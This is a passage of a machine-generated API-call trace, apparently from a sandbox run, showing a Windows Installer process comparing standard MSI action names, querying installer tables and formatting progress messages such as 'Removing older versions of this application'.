lstrcmpW (lpString1="RegisterUser", lpString2="RemoveExistingProducts") returned -1 [0125.582] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="RemoveExistingProducts") returned -1 [0125.582] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="RemoveExistingProducts") returned -1 [0125.582] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="RemoveExistingProducts") returned 0 [0125.582] lstrlenW (lpString="ProductLanguage") returned 15 [0125.582] SetLastError (dwErrCode=0x0) [0125.582] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0125.586] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x755a, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Removing applications\x09Application: [1], Command line: [2]\r\n") returned 0x3b [0125.589] lstrlenW (lpString="Application: [1], Command line: [2]") returned 35 [0125.589] lstrlenW (lpString="Removing applications") returned 21 [0125.589] FreeLibrary (hLibModule=0xc10002) returned 1 [0125.590] lstrlenW (lpString="RemoveExistingProducts") returned 22 [0125.590] lstrlenW (lpString="{{") returned 2 [0125.590] lstrlenW (lpString=": }}") returned 4 [0125.590] SetLastError (dwErrCode=0xd) [0125.590] lstrlenW (lpString="Time") returned 4 [0125.590] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.590] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.590] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.590] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.591] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.591] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.591] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.591] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0125.591] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0125.591] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0125.591] SetLastError (dwErrCode=0x0) [0125.591] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.591] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0125.591] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0125.591] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0125.591] SetLastError (dwErrCode=0x0) [0125.591] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.591] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0125.591] GetCurrentThreadId () returned 0xf50 [0125.591] GetCurrentThreadId () returned 0xf50 [0125.591] SetEvent (hEvent=0x170) returned 1 [0125.591] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.593] lstrlenW (lpString="RemoveExistingProducts") returned 22 [0125.593] SetLastError (dwErrCode=0xd) [0125.593] SetLastError (dwErrCode=0xd) [0125.593] lstrlenW (lpString="Time") returned 4 [0125.593] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.593] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.594] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.594] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.594] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x2f)) [0125.594] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.594] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.594] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0125.594] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0125.594] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.594] SetLastError (dwErrCode=0x0) [0125.594] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.594] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.594] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0125.594] GetCurrentThreadId () returned 0xf50 [0125.594] GetCurrentThreadId () returned 0xf50 [0125.594] SetEvent (hEvent=0x170) returned 1 [0125.594] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.598] lstrlenW (lpString="Feature") returned 7 [0125.598] lstrlenW (lpString="Action") returned 6 [0125.598] lstrlenW (lpString="Installed") returned 9 [0125.598] GlobalLock (hMem=0xf401a8) returned 0x2100b00 [0125.598] lstrlenW (lpString="SELECT `Attributes`, `ActionProperty`, `Remove` FROM `Upgrade`") returned 62 [0125.598] lstrlenW (lpString="SELECT `Attributes`, `ActionProperty`, `Remove` FROM `Upgrade`") returned 62 [0125.598] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.598] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.598] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.598] lstrlenW (lpString="Upgrade") returned 7 [0125.598] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䓞䕪䇤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce020, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0125.599] CExposedStream::Stat () returned 0x0 [0125.599] GlobalLock (hMem=0xf401b8) returned 0x366d90 [0125.599] CExposedStream::Read () returned 0x0 [0125.599] memcpy (in: _Dst=0x366d94, _Src=0x37b008c, _Size=0x2 | out: _Dst=0x366d94) returned 0x366d94 [0125.599] memcpy (in: _Dst=0x366db4, _Src=0x37b008e, _Size=0x2 | out: _Dst=0x366db4) returned 0x366db4 [0125.599] memcpy (in: _Dst=0x366d98, _Src=0x37b0090, _Size=0x2 | out: _Dst=0x366d98) returned 0x366d98 [0125.599] memcpy (in: _Dst=0x366db8, _Src=0x37b0092, _Size=0x2 | out: _Dst=0x366db8) returned 0x366db8 [0125.599] memcpy (in: _Dst=0x366d9c, _Src=0x37b0094, _Size=0x2 | out: _Dst=0x366d9c) returned 0x366d9c [0125.599] memcpy (in: _Dst=0x366dbc, _Src=0x37b0096, _Size=0x2 | out: _Dst=0x366dbc) returned 0x366dbc [0125.599] memcpy (in: _Dst=0x366da0, _Src=0x37b0098, _Size=0x2 | out: _Dst=0x366da0) returned 0x366da0 [0125.599] memcpy (in: _Dst=0x366dc0, _Src=0x37b009a, _Size=0x2 | out: _Dst=0x366dc0) returned 0x366dc0 [0125.599] memcpy (in: _Dst=0x10ce0f8, _Src=0x37b009c, _Size=0x4 | out: _Dst=0x10ce0f8) returned 0x10ce0f8 [0125.599] memcpy (in: _Dst=0x10ce0f8, _Src=0x37b00a0, _Size=0x4 | out: _Dst=0x10ce0f8) returned 0x10ce0f8 [0125.599] memcpy (in: _Dst=0x366da8, _Src=0x37b00a4, _Size=0x2 | out: _Dst=0x366da8) returned 0x366da8 [0125.599] memcpy (in: _Dst=0x366dc8, _Src=0x37b00a6, _Size=0x2 | out: _Dst=0x366dc8) returned 0x366dc8 [0125.599] memcpy (in: _Dst=0x366dac, _Src=0x37b00a8, _Size=0x2 | out: _Dst=0x366dac) returned 0x366dac [0125.599] memcpy (in: _Dst=0x366dcc, _Src=0x37b00aa, _Size=0x2 | out: _Dst=0x366dcc) returned 0x366dcc [0125.599] CExposedStream::Release () returned 0x0 [0125.599] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.599] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.599] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.599] lstrlenW (lpString="Attributes") returned 10 [0125.599] lstrlenW (lpString="ActionProperty") returned 14 [0125.600] lstrlenW (lpString="Remove") returned 6 [0125.600] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.600] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.600] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.600] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.600] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.600] lstrlenW (lpString="ProductLanguage") returned 15 [0125.600] SetLastError (dwErrCode=0x0) [0125.600] _vsnwprintf (in: _Buffer=0x10ce140, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdee8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 22") returned 48 [0125.600] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0125.600] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 22") returned 48 [0125.600] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 22") returned 48 [0125.600] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.600] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.600] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.600] lstrlenW (lpString="Error") returned 5 [0125.600] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 22") returned 48 [0125.601] lstrlenW (lpString="Error") returned 5 [0125.601] GlobalUnlock (hMem=0xf401c8) returned 0 [0125.601] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e36, dwLanguageId=0x409, lpBuffer=0x10cdf40, nSize=0x100, Arguments=0x0 | out: lpBuffer="Removing older versions of this application...\r\n") returned 0x30 [0125.601] lstrlenW (lpString="Removing older versions of this application...") returned 46 [0125.601] GetCurrentThreadId () returned 0xf50 [0125.601] GetCurrentThreadId () returned 0xf50 [0125.601] SetEvent (hEvent=0x170) returned 1 [0125.601] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.604] lstrlenW (lpString="ProductLanguage") returned 15 [0125.604] SetLastError (dwErrCode=0x0) [0125.604] _vsnwprintf (in: _Buffer=0x10ce140, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdee8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 23") returned 48 [0125.604] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0125.604] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 23") returned 48 [0125.604] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 23") returned 48 [0125.604] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.604] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.604] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.604] lstrlenW (lpString="Error") returned 5 [0125.604] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 23") returned 48 [0125.604] lstrlenW (lpString="Error") returned 5 [0125.604] GlobalUnlock (hMem=0xf401c8) returned 0 [0125.605] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e37, dwLanguageId=0x409, lpBuffer=0x10cdf40, nSize=0x100, Arguments=0x0 | out: lpBuffer="Preparing to remove older versions of this application...\r\n") returned 0x3b [0125.605] lstrlenW (lpString="Preparing to remove older versions of this application...") returned 57 [0125.605] GetCurrentThreadId () returned 0xf50 [0125.605] GetCurrentThreadId () returned 0xf50 [0125.605] SetEvent (hEvent=0x170) returned 1 [0125.605] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.608] lstrlenW (lpString="UPGRADINGPRODUCTCODE=") returned 21 [0125.608] lstrlenW (lpString=" ") returned 1 [0125.608] lstrlenW (lpString=" CLIENTUILEVEL=") returned 15 [0125.608] lstrlenW (lpString=" ") returned 1 [0125.608] lstrlenW (lpString="ALL") returned 3 [0125.608] lstrlenW (lpString="REMOVE=") returned 7 [0125.608] lstrlenW (lpString="ProductLanguage") returned 15 [0125.608] SetLastError (dwErrCode=0x0) [0125.608] _vsnwprintf (in: _Buffer=0x10ce140, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdee8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 16") returned 48 [0125.608] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0125.608] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 16") returned 48 [0125.608] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 16") returned 48 [0125.608] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.608] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.609] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.609] lstrlenW (lpString="Error") returned 5 [0125.609] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 16") returned 48 [0125.609] lstrlenW (lpString="Error") returned 5 [0125.609] GlobalUnlock (hMem=0xf401c8) returned 0 [0125.609] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e30, dwLanguageId=0x409, lpBuffer=0x10cdf40, nSize=0x100, Arguments=0x0 | out: lpBuffer="Time remaining: {[1] minutes }{[2] seconds}\r\n") returned 0x2d [0125.609] lstrlenW (lpString="Time remaining: {[1] minutes }{[2] seconds}") returned 43 [0125.609] GetCurrentThreadId () returned 0xf50 [0125.609] GetCurrentThreadId () returned 0xf50 [0125.609] SetEvent (hEvent=0x170) returned 1 [0125.609] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.612] lstrlenW (lpString="ProductLanguage") returned 15 [0125.612] SetLastError (dwErrCode=0x0) [0125.612] _vsnwprintf (in: _Buffer=0x10ce140, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdee8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 21") returned 48 [0125.612] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0125.612] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 21") returned 48 [0125.612] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 21") returned 48 [0125.612] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.612] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.612] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.612] lstrlenW (lpString="Error") returned 5 [0125.613] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 21") returned 48 [0125.613] lstrlenW (lpString="Error") returned 5 [0125.613] GlobalUnlock (hMem=0xf401c8) returned 0 [0125.613] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e35, dwLanguageId=0x409, lpBuffer=0x10cdf40, nSize=0x100, Arguments=0x0 | out: lpBuffer="Gathering required information...\r\n") returned 0x23 [0125.613] lstrlenW (lpString="Gathering required information...") returned 33 [0125.613] GetCurrentThreadId () returned 0xf50 [0125.613] GetCurrentThreadId () returned 0xf50 [0125.613] SetEvent (hEvent=0x170) returned 1 [0125.613] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.616] GlobalUnlock (hMem=0xf401a8) returned 0 [0125.616] GlobalUnlock (hMem=0xf401b8) returned 0 [0125.616] lstrlenW (lpString="RemoveExistingProducts") returned 22 [0125.616] SetLastError (dwErrCode=0xd) [0125.616] SetLastError (dwErrCode=0xd) [0125.616] lstrlenW (lpString="Time") returned 4 [0125.616] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x3e)) [0125.616] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.616] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x3e)) [0125.617] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.617] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x3e)) [0125.617] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.617] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.617] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0125.617] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0125.617] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.617] SetLastError (dwErrCode=0x0) [0125.617] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.617] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.617] memcpy (in: _Dst=0x3b50844, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b50844) returned 0x3b50844 [0125.617] memcpy (in: _Dst=0x3b50862, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b50862) returned 0x3b50862 [0125.617] SetLastError (dwErrCode=0x0) [0125.617] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.617] memcpy (in: _Dst=0x3b50862, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50862) returned 0x3b50862 [0125.617] memcpy (in: _Dst=0x3b50868, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b50868) returned 0x3b50868 [0125.617] GetCurrentThreadId () returned 0xf50 [0125.617] GetCurrentThreadId () returned 0xf50 [0125.617] SetEvent (hEvent=0x170) returned 1 [0125.617] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.622] lstrlenW (lpString="ActionText") returned 10 [0125.623] lstrcmpW (lpString1="Advertise", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="AppSearch", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="BindImage", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="CCPSearch", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="CostFinalize", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="CostInitialize", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="CreateFolders", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="CreateShortcuts", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="DeleteServices", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="DuplicateFiles", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="FileCost", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="FindRelatedProducts", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="GenerateScript", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="InstallAdminPackage", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="InstallFiles", lpString2="InstallInitialize") returned -1 [0125.623] lstrcmpW (lpString1="InstallODBC", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="InstallServices", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="InstallValidate", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="LaunchConditions", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="MoveFiles", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="PatchFiles", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="ProcessComponents", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="PublishComponents", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="PublishFeatures", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="PublishProduct", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterClassInfo", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterComPlus", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterFonts", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterProduct", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RegisterUser", lpString2="InstallInitialize") returned 1 [0125.624] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveFiles", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveFolders", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveIniValues", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveODBC", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RemoveShortcuts", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RMCCPSearch", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="Rollback", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="RollbackCleanup", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="SelfRegModules", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="SelfUnregModules", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="SetODBCFolders", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="StartServices", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="StopServices", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnmoveFiles", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnpublishComponents", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnpublishFeatures", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnpublishProduct", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="InstallInitialize") returned 1 [0125.625] lstrcmpW (lpString1="UnregisterComPlus", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="UnregisterFonts", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="WriteIniValues", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="WriteRegistryValues", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="ShutdownApplications", lpString2="InstallInitialize") returned 1 [0125.626] lstrcmpW (lpString1="ConfigureServices", lpString2="InstallInitialize") returned -1 [0125.626] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="InstallInitialize") returned -1 [0125.626] lstrlenW (lpString="InstallInitialize") returned 17 [0125.626] lstrlenW (lpString="{{") returned 2 [0125.626] lstrlenW (lpString=": }}") returned 4 [0125.626] SetLastError (dwErrCode=0xd) [0125.626] lstrlenW (lpString="Time") returned 4 